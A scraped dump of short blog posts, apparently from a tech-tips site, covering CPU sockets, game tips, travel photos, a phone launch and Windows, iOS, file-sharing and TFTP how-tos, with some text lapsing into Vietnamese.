MMC-1 280 April 1998 Mobile Pentium II (MMC-1) MMC-2 400 April 1998 Mobile Pentium II (MMC-2) BGA2 * (PBGA-B495) 495 October 1999 Mobile Pentium II (BGA2) Mobile Pentium III (BGA2) Mobile Pentium III-M (BGA2) Mobile Pentium III-M LV Mobile Pentium III-M ULV Mobile Celeron (BGA2) Mobile Celeron LV series up to 600 MHz Mobile Celeron ULV series up to 600 MHz Micro-PGA2 (PPGA-B495) 495 October 1999 Mobile Pentium II (Micro-PGA2) Mobile Pentium III (Micro-PGA2) Mobile Pentium III-M (Micro-PGA2) Mobile Celeron (Micro-PGA2) Socket 495 495 February 2000 Mobile Celeron (Socket 495) Socket 478 (mPGA478B) 478 August 2001 Mobile Celeron 1 GHz Mobile Pentium 4 Mobile Pentium 4-M Socket 479 479 May 2004 Mobile Celeron 1 GHz (Socket 479) Mobile Celeron LV series 650 MHz Mobile Celeron ULV series 650 MHz Celeron M (Socket 479) Pentium M (Socket 479) Core Solo (Socket 479) Core Duo (Socket 479) Micro-FCBGA479 * 479 May 2004 Pentium M (Micro-FCBGA) Celeron M (Micro-FCBGA) Core Solo (Micro-FCBGA) Core Duo (Micro-FCBGA) Core 2 Solo Core 2 Duo (Micro-FCBGA) mPGA478MT (Socket M) 478 2006 Celeron M (Socket M) Core Solo (Socket M) Core Duo (Socket M) Core 2 Duo (Socket M) Pentium Dual Core T2060 Pentium Dual Core T2080 Pentium Dual Core T2130 FCBGA6 * NA August 2006 Celeron M (FCBGA6) Core 2 Duo (FCBGA6) Core 2 Duo L series mPGA478MN (Socket P) 478 May 2007 Celeron M (Socket P) Celeron T series Core 2 Duo (Socket P) Core 2 Quad Core 2 ExtremePentium Dual Core (Socket P) Pentium T series Micro-FCBGA956 * 956 May 2008 Celeron M ULV 700 series Core 2 Solo SU series Core 2 Duo SL series Core 2 Duo SP series Core 2 Duo SU series Pentium SU series Socket G1 (rPGA988A) NA September 2009 Celeron P4500 series Celeron P4600 series Pentium P series Core i3-300M series (Socket G1) Core i5-400M series (Socket 1) Core 500M series (Socket G1) Core i7-600M series (Socket G1) Core i7-700QM series (Socket G1) Core i7-800QM series (Socket G1) Core i7-900QM series (Socket G1) BGA1288 * 1,288 January 2010 Celeron P4505 Celeron U series Pentium U series Core i3-300M, 300E, and 300UM series (BGA-1288) Core i5-400M, 400UM, 500M, 500E, and 500UM series (BGA-1288) Core i7 600E, 600LM, 600LE, 600UM, and 600UE series Socket G2 (rPGA988B) 988 January 2011 Celeron B series Pentium B series Core i3-2300M series (Socket G2) Core i3-2330E series (Socket G2) Core i5-2000M series (Socket G2) Core i5-3000M series (Socket G2) Core i5-2510E Core i7-2000M series (Socket G2) Core i7-2000QM series (Socket G2) Core i7-2000QE series (Socket G2) Core i7-2000XM series (Socket G2) Core i7-3000QM series (Socket G2) Core i7-3900XM series (Socket G2) Core i7-3520M Core i7-3610QE BGA1023 * 1,023 January 2011 Celeron B810ECeleron 700 and 800 series Pentium 900 series Core i3-2300M, 3000M, 3000U, and 3000UE series (BGA-1023) Core i5-3515ECore i5-2000M, 3000M, and 3000U series (BGA-1023) Core i7-2600M, 2600LE, 2600UE, 2700QE, and 3000 series (BGA-1023) Core i7-3615QE and 3612QE BGA1224 * 1,224 January 2011 Core i7-2000QM series (BGA-1224) Core i7-3000QM series (BGA-1224) Socket 462 (Socket A) 453 June 2000 Mobile Athlon 4 Athlon XP-M (Socket 462) Mobile Duron Socket 563 563 April 2002 Athlon XP-M (Socket 563) Socket 754 754 September 2003 Athlon XP-M (Socket 754) Mobile Athlon 64 (Socket 754) Mobile Sempron (Socket 754) Turion 64 ML series Turion 64 MT series Socket S1 (S1g1) 638 May 2006 Athlon X2 L310 Mobile Sempron (Socket S1) Athlon Neo TF series Turion 64 MK series Turion 64 X2 Turion X2 L510 Socket S1g2 638 June 2008 Athlon X2 QL series Sempron SI Turion X2 Turion X2 Ultra Socket S1g3 638 September 2009 Athlon II M Sempron M Turion II M Turion II Ultra Socket S1g4 638 May 5/2010\nAthlon II P series Athlon II N series Phenom II P series Phenom II N series Phenom II X series Turion II P series Turion II N series V 120, 140, and 160 ASB1 * 812 January 2009 Athlon Neo MV series Athlon Neo X2Turion NeoTurion Neo X2Turion X2 L510 Sempron 200U series ASB2 * NA May 2010 Athlon II NeoTurion II NeoV 105 Socket FT1 (BGA413) January 413 CEE1E2 1000 series Socket FS1 722 June 2011 A4 (FS1 Socket) A6 (FS1 Socket) A8 (FS1 Socket) A10 (FS1 Socket) E2 3000 series Socket FP2 NA 2012 A4 (Socket FP2) A6 (Socket FP2) A8 (Socket FP2) A10 (Socket FP2) Refer to some of the following articles:\nOverclock CPU, GPU and RAM easily and safely Four step instructions for installing more RAM Basic measurement units in computers Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwam10magrGWRYrmqv9Nmpp9lkaG5bq%2FPrmSsp5OgsrW%2F\n","link":"/post/this-is-a-list-of-all-cpu-sockets/","section":"post","tags":null,"title":"This is a list of all CPU sockets"},{"body":"Tips for playing Internet Cafe Simulator 2 for newbies, The following tips will help the 'rookie' of Internet Cafe Simulator 2 game feel comfortable and comfortable when playing Internet Cafe Simulator 2\nThe following tips will help the \"rookie\" of the Internet Cafe Simulator 2 game feel comfortable and comfortable when starting a long journey to build a net shop from scratch.\n  The background of Internet Cafe Simulator 2 game is a chaotic, dark and full of thieves. Your goal is to repair the old garage, turn it into a net shop that attracts customers in the area. It is certainly not an easy job. And the line between legal and illegal is sometimes very thin…\nMost of the gameplay is in automatic form, so if you know a few tips, conquering Internet Cafe Simulator 2 is quite simple.\nInstructions for playing the basic Internet Cafe Simulator 2 game The new game launched on Steam in early 2022, so some pretty annoying lag is inevitable. For example, when you accidentally place the mop too close to the wall, it will slide to the other side and… disappear. The best way to keep the net shop clean is to use a vacuum cleaner, although it is quite expensive. PCs, consoles, and VR stations will automatically turn on when you place them on the table. Press M to view the map when lost.   There are some customers who will leave without paying for the service. Please place the bat nearby to claim the money back. When you have more wealth, you can hire security guards to handle this problem. The only way to save the game is… go to sleep. You don't have to sleep every day, but do it every now and then. Otherwise the game progress will evaporate when the game crashes. For the fastest money, reduce the service price to Very Cheap and wait for the first guests. After they walk in, immediately raise the price to maximum before they sit down and turn on the machine. In the tutorial, you are forced to spend money and buy the device on Zamazor. Buy a good CPU that makes gaming guests feel comfortable right from the start.   Second hand stores are always a smart choice to buy a computer at a great price. Quickly open the 2nd room and build the toilet. It is not recommended to hire security guards or janitors early in the game. Unless you win the lottery, do whatever you like. And buy 1 or 2 games from the app store to cater to paying customers. With these small tips, you will quickly get used to Internet Cafe Simulator II and be ready for more difficult challenges later in the game.\nInternet Cafe Simulator 2 ncG1vNJzZmismaXArq3KnmWcp51kwaq80madqKpdpbmixcinnmahnqmys7rErWScmZaaerS1zK6jmqyfp3pzecWoqWamlayvqrHS\n","link":"/post/tips-for-playing-internet-cafe-simulator-2-for-newbies/","section":"post","tags":null,"title":"Tips for playing Internet Cafe Simulator 2 for newbies"},{"body":" 15 destinations make you want to leave everything to explore the world The top 20 most dangerous countries in the world are not for tourists Top 10 countries with the smallest area in the world Currently there are many impressive tourist attractions attracting a large number of tourists around the world. But sometimes, in fact they are not as great as you imagine. As a result, beautiful expectations in you suddenly become overwhelming frustration.\nWe have compiled a list of 15 popular tourist destinations that we recommend not visiting during the high season . Let us take a look at the pictures below how reality ( expectation ) is!\n1. The statue of Manneken Pis - the boy standing pee in Brussels\n   © depositphotos © depositphotos\n2. Beach in Goa\n   © depositphotos © depositphotos\n3. Disneyland Paris Park\n   © ЕН © depositphotos\n4. Watch the sunrise at Piazzale Michelangelo, Florence\n   © depositphotos © depositphotos\n5. Hollywood in Los Angeles\n   © andrew @ gerasimov © depositphotos\n6. Beach in the Dominican Republic\n   © t-katerina © depositphotos\n7. Szechenyi Thermal Bath heated pool in Budapest\n   © depositphotos © depositphotos\n8. Cannes Film Festival venue\n   © OlgaTelego © depositphotos\n9. 'I amsterdam' sculpture in Amsterdam\n   © depositphotos © depositphotos\n10. Statue of Christ in Rio de Janeiro\n   © depositphotos © depositphotos\n11. Skywalk Observatory in Australia\n   © austria © pxhere\n12. White house in Washington DC\n   © pxhere © depositphotos\n13. Egyptian Pyramid\n   © depositphotos © depositphotos\n14. Devils of Trolltunga in Norway\n   © gessor © depositphotos\n15. Copacabana beach in Rio de Janeiro\n   © reuters © miguelangelpulidoj\nSee also: 26 beautiful places in fairy tales you may not know\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kfnZ5xZqkqK2jYsGwwdGiqq1llJrAtbXNmquip56oeqK%2BxGadmqpdmbanssSrnKesXam1orqMoqSan5mjsqU%3D\n","link":"/post/15-famous-tourist-destinations-are-far-different-than-imagined/","section":"post","tags":null,"title":"15 famous tourist destinations are far different than imagined"},{"body":"A clay doll, estimated to be 2,000 years old, has just been found in Osaka and is interesting to Japanese archaeologists .\nAccordingly, a clay doll estimated to belong to the Yayoi pottery period (circa 300 BC) was excavated and found in a fairly perfect structure at an archaeological site in Kori province, Osaka, Japan Heritage Center .\n  The archaeological group said, this ancient clay doll is one of the very rare dolls in intact, perfect state, it is a very beautiful, interesting and very charming doll.\nDuring the excavation of the ruined archaeological site in Kori and Heka provinces, beginning in June 2016, recently, a group consisting of members of the Ibaraki Archaeological Education Board found a mound burying strange rectangles, and this clay doll is in it.\n  Close up of the doll shows, it is a doll made of clay, cylindrical material, estimated at 2000 years old, with deep eyes, high nose, clearly, dolls 5.9 cm high and 3cm wide and especially noticed that the ears of the doll are two parts of the low circular protruding jaws that look very strange.\nIn addition, there are 3 more ancient kuda dama cylinders made of jade stone are also found.\nThe archaeological team added that this clay doll was found in a comedy hole, 18m long, 12m wide, on a mound of about 220m2.\nThis incident was officially announced on January 29, 2017.\nncG1vNJzZmismaXArq3KnmWcp51kf3F8j7KcmqqfobFur8uasGacn6G5brLOrqWdZZmjerC%2FwKSY\n","link":"/post/2-000-year-old-clay-doll-found-in-osaka/","section":"post","tags":null,"title":"2,000-year-old clay doll found in Osaka"},{"body":"Today (November 1), Samsung officially launched Galaxy M30s in Vietnam market. This is an upgraded product of the Galaxy M30 with improved performance, battery life and camera.\nIn terms of design, the Galaxy M30s has a 6.4-inch Super AMOLED screen, a Full HD + resolution of 19.5: 9, with a 'water drop'.\nThe rear camera cluster on the back of the M30s is wider. The LED flash is located right next to the camera assembly instead of below like on the previous M30.\n  Galaxy M30s is equipped with a rear camera cluster including a 48MP f / 2.0 main sensor, an 8MP f / 2.2 super wide-angle camera, a 5MP depth-measuring camera. Samsung has integrated the M30s camera application with many different shooting and movie modes such as Super Slowmotion, Super Steady, Portrait mode with Art Bokeh . The selfie camera has a resolution of 16MP f / 2.0.\n  Regarding hardware, Galaxy M30s is equipped with Exynos 9611 chip, 4GB RAM, 64GB internal memory, with memory card support. The most special feature of the M30s is the \"super\" 6000mAh battery capacity with 15W fast charging. Galaxy M30s pre-installed Android 9.0 Pie with One UI interface.\nGalaxy M30s has 3 colors: Mysterious Black, Blue Turquoise, White Tinh Van with the price of 6.99 million VND.\nHere are some photos on Galaxy M30s hands, invite you to admire.\nMotorola RAZR, flexible screen smartphone for the first time shows very impressive real photos Galaxy Xcover FieldPro: Super durable smartphone for US agents only Xiaomi launches Mi 9 Pro 5G: Snapdragon 855+ chip, the world's fastest 30W wireless charger, 5G connectivity ncG1vNJzZmismaXArq3KnmWcp51ktKK4wLGwZqVjZcBuuMCupZyglZl6qrqMr6CerJ6Wum6Cj2lnppmYYq%2BiwNOeqbJloKe2pLHDZpitZWZuhm65yKWjoqee\n","link":"/post/galaxy-m30s-launched-in-vietnam-6000mah-battery-priced-at-6-99-million/","section":"post","tags":null,"title":"Galaxy M30s launched in Vietnam, 6000mAh battery, priced at 6.99 million"},{"body":"In the article below, I will guide you on how to classify Bluetooth connected devices on iPhone, iPad.\nYou will have 6 options to categorize Bluetooth devices connected to iPhone or iPad in iOS 14.4, including: car speakers, headphones, hearing aids, external speakers, and others. The most important thing is to properly classify the type of device you are using.\nCorrect classification not only results in improved audio notifications, but also makes each device's sound level more accurate. For example, you won't hear too loud sound when using headphones or too soft sound when using the speakers.\nThe Bluetooth device classification process is very simple.\nHow to classify Bluetooth devices in iOS 14.4 Please follow these steps:\nUpdate your iPhone and iPad to iOS 14.4 or iPadOS 14.4. Connect the desired Bluetooth device classified by iPhone or iPad. Open the Settings app , select Bluetooth . Click the i icon next to the device you want to classify. Select Device Type . If the correct categorization option cannot be selected, click on one of the remaining options.   Note: With Apple headphones such as AirPods and AirPods Pro, they are familiar with the iOS operating system. Therefore, they have been classified already. With AirPods or AirPods Pro, you no longer have an option to classify the device when connected to Bluetooth.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuclsC0tcWyZJukpZrBsLvToWSdnaaesKa%2FjJqlnWWRmLCmv9KoqaKdo2K8r3nIqKo%3D\n","link":"/post/how-to-classify-bluetooth-devices-and-accessories-on-ios/","section":"post","tags":null,"title":"How to classify Bluetooth devices and accessories on iOS"},{"body":"When using\u0026nbsp; Windows 10 , you are trying to delete a file or move it to another location and get an error that says \" Action Cannot Be Completed Because The File is Open in Another Program \", even though you have not opened the file in any time. any program period. Follow up with us to know the cause and how to fix it.\n\u0026nbsp;File Is Open in Another Program\u0026nbsp; error means the action cannot be finished because the file is open in another program on your\u0026nbsp; computer .\nNote : The following instructions are done on laptop devices AVITA code i5 10 TH \u0026nbsp;GEN. Windows 10 operating system.\nStep 1 : Press the\u0026nbsp; Windows\u0026nbsp; + \u0026nbsp;R combination .\n  Step 2 : Enter the command\u0026nbsp; % temp% \u0026nbsp;in the search box\u0026gt; Click \u0026nbsp;OK \u0026nbsp;to run the program.\n  Step 3 : Press\u0026nbsp; Ctrl \u0026nbsp;+\u0026nbsp; A \u0026nbsp;to select all.\n  Step 4 : After selecting all, press delete to delete the temporary files.\n2. Restart the computer Step 1 : Click\u0026nbsp; Start .\n  Step 2 : Click the Source icon\u0026nbsp; \u0026nbsp;\u0026gt; Select\u0026nbsp; Restart .\n3. Run the software to scan for viruses If you have followed the above methods but still have not worked, chances are that the virus has entered and made it difficult for you. Use one of the free anti-virus software to detect and stop virus damage in time.\n4. Restart Explorer Step 1 : You press the\u0026nbsp; Windows \u0026nbsp;+\u0026nbsp; X .\n  Step 2 : When the menu appears in the bottom left corner, select\u0026nbsp; Task Manager .\n  Bước 3: Tìm đến tác vụ\u0026nbsp;Windows Explorer\u0026nbsp;trong thư mục\u0026nbsp;Windows processes\u0026nbsp;\u0026gt; Chọn\u0026nbsp;Restart.\n  Bước 1: Bạn nhấn\u0026nbsp;Windows\u0026nbsp;+\u0026nbsp;X.\n  Bước 2: Khi thấy menu xuất hiện ở góc dưới cùng bên trái thì chọn\u0026nbsp;Task Manager.\n  Bước 3: Hãy thử tìm kiếm trong mục\u0026nbsp;Processes\u0026nbsp;xem file hoặc ứng dụng mà bạn nghi ngờ có đang chạy không \u0026gt; Nhấn\u0026nbsp;End Task\u0026nbsp;để buộc dừng nó lại.\n  Sau đó bạn quay trở lại và thử xóa, di chuyển file một lần nữa xem đã được hay chưa.\nBước 1: Nhấn tổ hợp\u0026nbsp;Windows\u0026nbsp;+\u0026nbsp;R.\n  Bước 2: Hãy nhập\u0026nbsp;gpedit.msc\u0026nbsp;vào ô trống \u0026gt; Nhấn\u0026nbsp;OK.\n  Bước 3: Trong cửa sổ mới hiện lên, bạn chú ý tới cột bên trái tìm đến\u0026nbsp;User Configuration, chọn\u0026nbsp;Administrative Templates\u0026nbsp;rồi đến\u0026nbsp;Windows Components\u0026nbsp;\u0026gt; Chọn\u0026nbsp;File Explorer.\n  Bước 4: Trong khung bên phải, bạn nhấn 2 lần vào \"Turn off the caching of thumbnails in hidden thumbs.db files\".\n  Bước 5: Tích vào ô\u0026nbsp;Enabled\u0026nbsp;\u0026gt; Nhấn\u0026nbsp;Apply\u0026nbsp;để áp dụng.\n  Trên đây là một số cách sửa lỗi File Is Open in Another Program trên máy tính Windows 10. Mong bài rằng bài viết này sẽ hữu ích với các bạn. Chúc các bạn thành công!\nFile Is Open in Another Program error ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqntcueZKKrXaS9prqMoqVmmZ6kwamx0Wanq6eXp66uecSrqaiqXaS7bq2MsKCnnJ%2BswG59j2aaqKWgqsGmvg%3D%3D\n","link":"/post/how-to-fix-file-is-open-in-another-program-error-on-a-windows-10-computer/","section":"post","tags":null,"title":"How to fix File Is Open in Another Program error on a Windows 10 computer"},{"body":"Here TipsMake.com will guide you to re-enable the Registry automatic backup feature on Windows 10.\nPreviously, Windows 10 operating system would automatically back up your Registry to the Regback folder. As of October 2019, users received that the feature was no longer working and assumed it was a system failure.\nMicrosoft says this is a change to reduce the overall size of Windows. In fact, RegBack doesn't fight that much space (about a few hundred MB). Moreover, in many cases you will need to back up the Registry when it detects your computer freezes, crashes or boot errors, . To re-enable this feature on Windows, do the following:\nStep 1: Press the Windows + R key combination to open the Run dialog box, enter regedit in the box and press Enter .\n  Step 2: Go to the folder under the following path Computer\\HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Configuration Manager\n  Step 3: Right-click on Configuration Manager , select New \u0026gt;\u0026gt; DWORD (32-bit) Value .\n  Step 4: Name the new key \"EnablePeriodicBackup\" instead of \"NewValue # 1\".\n  Step 5: Right-click on EnablePeriodicBackup, select Modify .\n  Set Value data to 1 . Then OK .\n  Step 6: Restart your PC.\nAfter restarting, Windows will start backing up the Registry to the RegBack folder and creating a RegIdleBackup task to manage subsequent backups. You can find the RegBack folder by the path: C:\\Windows\\System32\\config\\RegBack.\nGood luck!!!\nRegistry backup Registry ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVmruirsueZKudl57Atb7YZpmam5uqvW67zWauoqaUpMS0eZBp\n","link":"/post/how-to-re-enable-registry-backup-on-windows-10/","section":"post","tags":null,"title":"How to re-enable Registry backup on Windows 10"},{"body":"CASIO FX-580VN X is currently a type of handheld computer used by many students, students or people who regularly calculate. This is a standard computer line with LCD technology with high resolution, famous and modern by CASIO computer manufacturer.\nThis pocket PC version is improved in speed and memory, the interface is easier to input than previous computers. And if you want to use CASIO FX-580VN X quickly because there are no conditions to buy the device, you can install CASIO FX-580VN X right on your computer. The following article will show you how to simulate CASIO FX-580VN X on your computer.\n10 best Android emulator software for Windows Top best iOS emulators help run applications on Windows 10 best software emulators for gaming consoles How to install CASIO FX-580VN X on the computer Step 1:\nUsers click on the link below to download the emulator ClassWiz Emulator Susbscription for fx-FX-580VNX.\nDownload the ClassWiz Emulator software Then extract the downloaded file and click on the software installation file.\n  Step 2:\nThe tool supports a variety of languages, including Vietnamese for users to easily set up the software.\n  Step 3:\nNext is the setup process to install Casio computer emulator tool.\n  You proceed to install the software as usual. The interface has now changed to Vietnamese so it is easy to implement.\n  Click Install to install the tool.\n  Step 4:\nAfter installing, click on the icon of the software fx-580VN X Emulator displayed on the screen interface.\n  The software will give it a try within 90 days, press No, I want to continue with my current version and click Next below.\n  Step 5:\nThis is the main interface of the CASIO FX-580VN X computer simulated on the computer. Press keys are similar to when using a calculator.\n  The Menu button will display all the simple to advanced magnetic calculations that the CASIO FX-580VN X computer can perform.\n  Step 6:\nNow users just need to click on each calculation they want to use. Usage is similar to using a calculator.\n  Trigonometric calculations are also made simple.\n  Step 7:\nBesides simulator software calculations there are different options above the interface.\n  The Pop-up Display interface magnifies the screen and displays it separately from the computer screen so that you can easily observe the input calculation.\n  Step 8:\nBesides, users can take a screenshot of the screen and paste the calculation into certain content. Click on Tools and choose Capture Settings to adjust the screen size. Outer Frame to add a border to a white photo.\n  Screenshot of the calculation will look like below.\n  With ClassWiz Emulator software, we will use CASIO FX-580VN X computer right on the computer. Push buttons as well as computer keys support the same as using Casio pocket computers.\nSee more:\nInstructions to simulate Android on Windows by Droid4x How to install NoxPlayer to play Android games on computers How to run, Raspberry Pi emulator on computer? I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquZosKtrdOeZJyZo568brLXbm9prp5ixW67zWaroZ1dmLyuvNStnKs%3D\n","link":"/post/how-to-simulate-casio-fx-580vn-x-on-the-computer/","section":"post","tags":null,"title":"How to simulate CASIO FX-580VN X on the computer"},{"body":"Free Crypt is a multi-function service that supports users to send files online without limit the format or number of files sent, write notes, encrypt or decode text or files, . completely free. Using Free Crypt does not need to create an account and still use the full functionality provided by the website. The following article will show you how to use some of the typical Free Crypt tools.\n7 self-destruct file sharing sites How to encrypt 256-bit AES files right on Chrome browser How to encrypt files on Google Drive with Syncrypto Top 20 best encryption software for Windows Instructions for using Free Crypt First, users access the link below to access the Free Crypt home page.\nhttps://freecrypt.org/  At the stage we click on the 3 dashes icon in the top left corner to show a list of tools that Free Crypt supports.\n  1. Write notes on Free Crypt (Sticky Notes) Step 1:\nShow note entry interface. The user enters the title in Type a title , enter the text in Type a description .\n  Step 2:\nIf you want, you can also color the notes by clicking the palette icon . Finally click on the v mark to save it.\n  Result notes displayed in Sticky Notes interface as shown below. In the comments box, users have several options including editing, changing the color frame, deleting notes, sharing notes. This note is always displayed in the interface of Free Crypt unless the user closes the browser. If done, note that you only need to check the box to cross out.\n  2. Encrypt text on Free Crypt (Encryption Box) This encryption and decryption feature allows users to encrypt according to 59 universal encryption standards.\n  Step 1:\nThe user selects the supplied encryption standard and then enters the text content in the string frame, then press base64 encode my string.\n  Results users see the encrypted content right below.\n  Step 2:\nNext we choose a decoding standard . Enter the encoded content and frame then press base64 decode. The tools are all in 1 pair of coding and decoding, so we need to choose the right one to use.\n  The decoded content results are displayed as below.\n  3. Encrypt and decrypt files (Offline Encryption) This tool allows to encrypt and decrypt files according to AES, SHA1, Serpent.\n  Step 1:\nAt the page interface they click on Encrypt a file to encrypt the file. Click the Browse button to select the file, only one file limit.\n  Step 2:\nNext, enter the security password for the file, at least 5 characters and then press Encrypt to proceed to encrypt the file.\n  Finally click the Save button to save the encrypted file as fry.\n  Step 3:\nTo decrypt the file we click on Decrypt a file . Then click the Browse button and select the encrypted file created by the translation tool.\n  Step 4:\nFinally, enter the file encryption password you set and then press Decrypt to decrypt the file.\nWhen decoding the flower, we also press the Save button to download the complete file.\n  4. Share files on Free Crypt (File Share) This feature allows downloading files of 100MB capacity and automatically cancel after 7 days.\nStep 1:\nAt the user interface, click Select files to upload the file or drag and drop the file into the interface.\n  Step 2:\nOnce the file has been uploaded successfully the user receives a shared link of the entire file and / or another link option.\n  Step 3:\nNext to the user there are some additional options such as enabling password mode for the file, the time for the file to automatically cancel, send the link via email and add the message.\n  Above is how to use some of the basic Free Crypt tools. All tools are completely free to use and users do not need to register for an account.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqnvsSeZJyqqaXBbsDOZqqhmaKaeqe1y56qZp2emL%2B6vNNmm6ibpaKyr8DS\n","link":"/post/how-to-use-free-crypt-to-share-files-encrypt-documents/","section":"post","tags":null,"title":"How to use Free Crypt to share files, encrypt documents"},{"body":"Instead of choosing Gmail to send files, nowadays people tend to choose online file delivery services, which both support sending large files and have some additional features such as self-destruct files or setting split passwords. file sharing. Jetdrop is an online file sending service that supports sending files up to 10GB for each or 1000 files when you download multiple files at the same time.\nThe support for large volumes when sharing helps users send heavy files such as software. In addition, Jetdrop has a password generator to secure sharing and sending files. All shared files are self-destruct within 7 days from the time the recipient opened the file. Jetdrop works on all device platforms, and is completely free with no registration account. The following article will guide you how to use Jetdrop to share files.\nHow to use TransferXL to share files online How to send large files up to 20GB is completely free How to use Send Secure to share secure files How to use Firefox Send to share large files Instructions for sharing files online on Jetdrop Step 1:\nWe visit the Jetdrop home page by following the link below.\nhttps://www.jetdrop.net/  At the homepage, click the plus icon to upload the file you want to share to Jetdrop's server.\n  Then we wait for the process of uploading files to Jetdrop's system. Once the file has been uploaded, click on the arrow icon to get the file sharing link.\n  Step 2:\nSwitch to the new interface, to set a password for the sent files, click Add Password .\n  Now display the box below for us to enter the password you want to add to the account, click Apply to add the password.\n  Step 3:\nNext we choose the way to share files, if via the sharing link , click Copy link . If you want to send by email then click Email . Display interface to enter sender email information, recipient email and attached messages if available.\n  In addition, the service also supports sharing file links to social networks such as Facebook, Twitter.\n  Step 4:\nFor those who receive the link when accessing, they will be asked to enter the password if any, enter the password and click Unlock to unlock the sharing link.\n  Finally, just click the download icon to download the files to your computer in zip format.\n  Thus, sharing files online on Jetdrop is very simple and fast. The file is uploaded with a large capacity and automatically destroyed after 7 days of file sharing.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqrsdOdqaioXam8br%2FHmqmeZZaeuaa%2FjK6nZqyfYn5xs8E%3D\n","link":"/post/how-to-use-jetdrop-to-share-files-up-to-10gb/","section":"post","tags":null,"title":"How to use Jetdrop to share files up to 10GB"},{"body":"In the recently updated version, Windows 10 has added a new feature that is Windows Sandbox. It helps you to install and run new software on a standalone operating system. So how to use Windows Sandbox? Let's go with TipsMake.com to find out through the article below!\n  What is Windows Sandbox? From Windows 10 build 18305 onwards, Microsoft has incorporated the Windows Sandbox feature into the operating system. It has the function of creating a virtual environment, a new desktop environment, compact and completely independent of the machine's operating system so that you can install and set personal adjustments without affecting the original operating system. . In other words, Windows Sandbox is a virtual machine. However, Windows Sandbox only appears on Win10 Profesional - Enterprise - Education editions but not on Home editions.\nConditions for running Windows Sandbox Windows 10 Pro or Enterprise Insider version 18305 or higher AMD64 architecture Virtualization is enabled in the BIOS At least 4GB of RAM (8GB recommended) At least 1 GB of free disk space (SSD recommended) At least 2 CPU cores (4 cores recommended with hyperthreading)\u0026nbsp; Basic features of Windows Sandbox Windows Sandbox has all the basic features of Windows 10 Pro and Enterprise. You do not need to use additional VHD. Windows Sandbox works independently of the operating system. You will have an extra virtual Windows 10 in your existing Windows 10. When closing the application, all software installed in the Sanbbox will be removed. Windows Sandbox virtualizes based on hardware for kernel isolation, based on Microsoft's virtualization to run separate kernels, isolating Windows Sandbox from real machines. Therefore the software does not take up a lot of machine resources. Windows Sandbox uses an integrated kernel scheduler, intelligent memory manager and virtual GPU. How to enable Windows Sandbox feature Step 1 : First, to use the Windows Sandbox feature, your computer needs to enable the Virtualization feature in the BIOS. To check if your computer has enabled virtualization you have done.\n(1) Press Ctrl + Shift + Esc to enter Task Manager .\n(2) Switch to the Performance tab .\n(3) Notice if the Virtualization line is Enabled ( disabled) and Disable (disabled).\n  Step 2 : Next, open Control Panel and click Programs .\n  Step 3 : Then select Turn Windows features on or off .\n  Step 4 : Then tick the Windows Sandbox . And restart Windows.\n  Step 5 : After restarting, go to Start Menu, type Sanbox and then click on the Sandbox icon to launch the program.\n  Step 6 : After use, close the Sandbox. However, as mentioned above, closing the Sandbox will remove the program and all the data you have used from the Sandbox. Any programs or files you downloaded during the session will be permanently deleted.\n  Thank you for watching the article!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnUrJxmr5mjsbDD0maqmqaUl7y5ec6nZLChnpm8uL%2BMamc%3D\n","link":"/post/instructions-on-how-to-use-windows-sandbox-on-windows-10/","section":"post","tags":null,"title":"Instructions on how to use Windows Sandbox on Windows 10"},{"body":"For many students, chemistry is often a \"difficult\" subject because extremely complex and difficult to remember formulas and atoms. In order to study chemistry well, it is necessary to master the nature of chemical phenomena, master the basic knowledge learned, optimize the basic knowledge to solve one or more new problems. To help students, especially those who are preparing for the upcoming high school exam to achieve high results in chemistry, the following article Network Administrator will introduce to you the application of 'Chemical Equations'. 'Extremely useful, designed by Vietnamese people, certainly very easy to use and associated with the knowledge in the secondary and high school programs.\nWith this \"Chemical Equation\" application, users can easily search for more than 7000 equations and 3000 chemical substances, equations that show specific details of the state, color and substance Working, especially with this application, without Internet connection can still work well anywhere.\n  A good point is that you can find both equations when only products, threads that require modulation or series of chemical transformations can be easily solved with this application. To use it you need to download the following link:\nFor iOS devices For Android devices After successfully installing the application, the use is quite simple with a completely Vietnamese interface, just enter the participating substance or product and pull down to find the appropriate equation.\n    When you want to see the range of metal operations you select the triangle icon as shown below, there are two options that are the basic range with the commonly used and extended range with full metal.\n    Personally, I find this is a pretty good application, meeting almost fully in the general education program as well as the University exam both inorganic and organic. Hopefully with this application your learning will be easier.\nHopefully, this useful application will help you get better results in chemistry.\nSee more:\nTop 15 leading English learning apps on Android and iOS Useful applications for students 15 websites for free and effective English learning at home ncG1vNJzZmismaXArq3KnmWcp51kuaat0aegp59dmLWmucisq6uxXay2rbiMm5ycp52aerex0bJkoqakmr%2Bmv9OipaBlp57BqXnToZxmm5iauqqvwKVknqmllsGqu81mmKmonJ6wosDIqKU%3D\n","link":"/post/learning-chemistry-will-become-very-interesting-with-the-chemical-equation-application/","section":"post","tags":null,"title":"Learning chemistry will become very interesting with the Chemical Equation application"},{"body":"TFTP server is a software that every network administrator and engineer will use sooner or later, so today's article will provide a list of the best free TFTP server software along with direct links to download. down.\nThe best TFTP server for Windows What is TFTP used for? List of free TFTP servers in 2018 Solarwinds TFTP server TFTP WinAgents TFTPD64  What is TFTP used for? TFTP, Trivial File Transfer Protocol, is a file transfer protocol used to transfer small capacity files with UDP over a network, prioritizing LANs, because UDP is a disconnected protocol and Do not confirm the receiving / sending package.\nUsing TFTP is very important for network engineers who regularly work on Cisco switch and router devices, as well as other brands, providing the ability to upgrade, backup and store configuration files and OS firmware through small file transfer servers.\n  Choose one of the download links below and install it for use on your network immediately. Most servers are FREE or very affordable. The TFTP server will work on almost all versions of Windows, including Windows 10, Windows 8 / 8.1, Windows 7, Windows Server 2008, Windows Server 2012 \u0026amp; 2016.\nList of free TFTP servers in 2018 There is no specific order in the list below and Quantum will 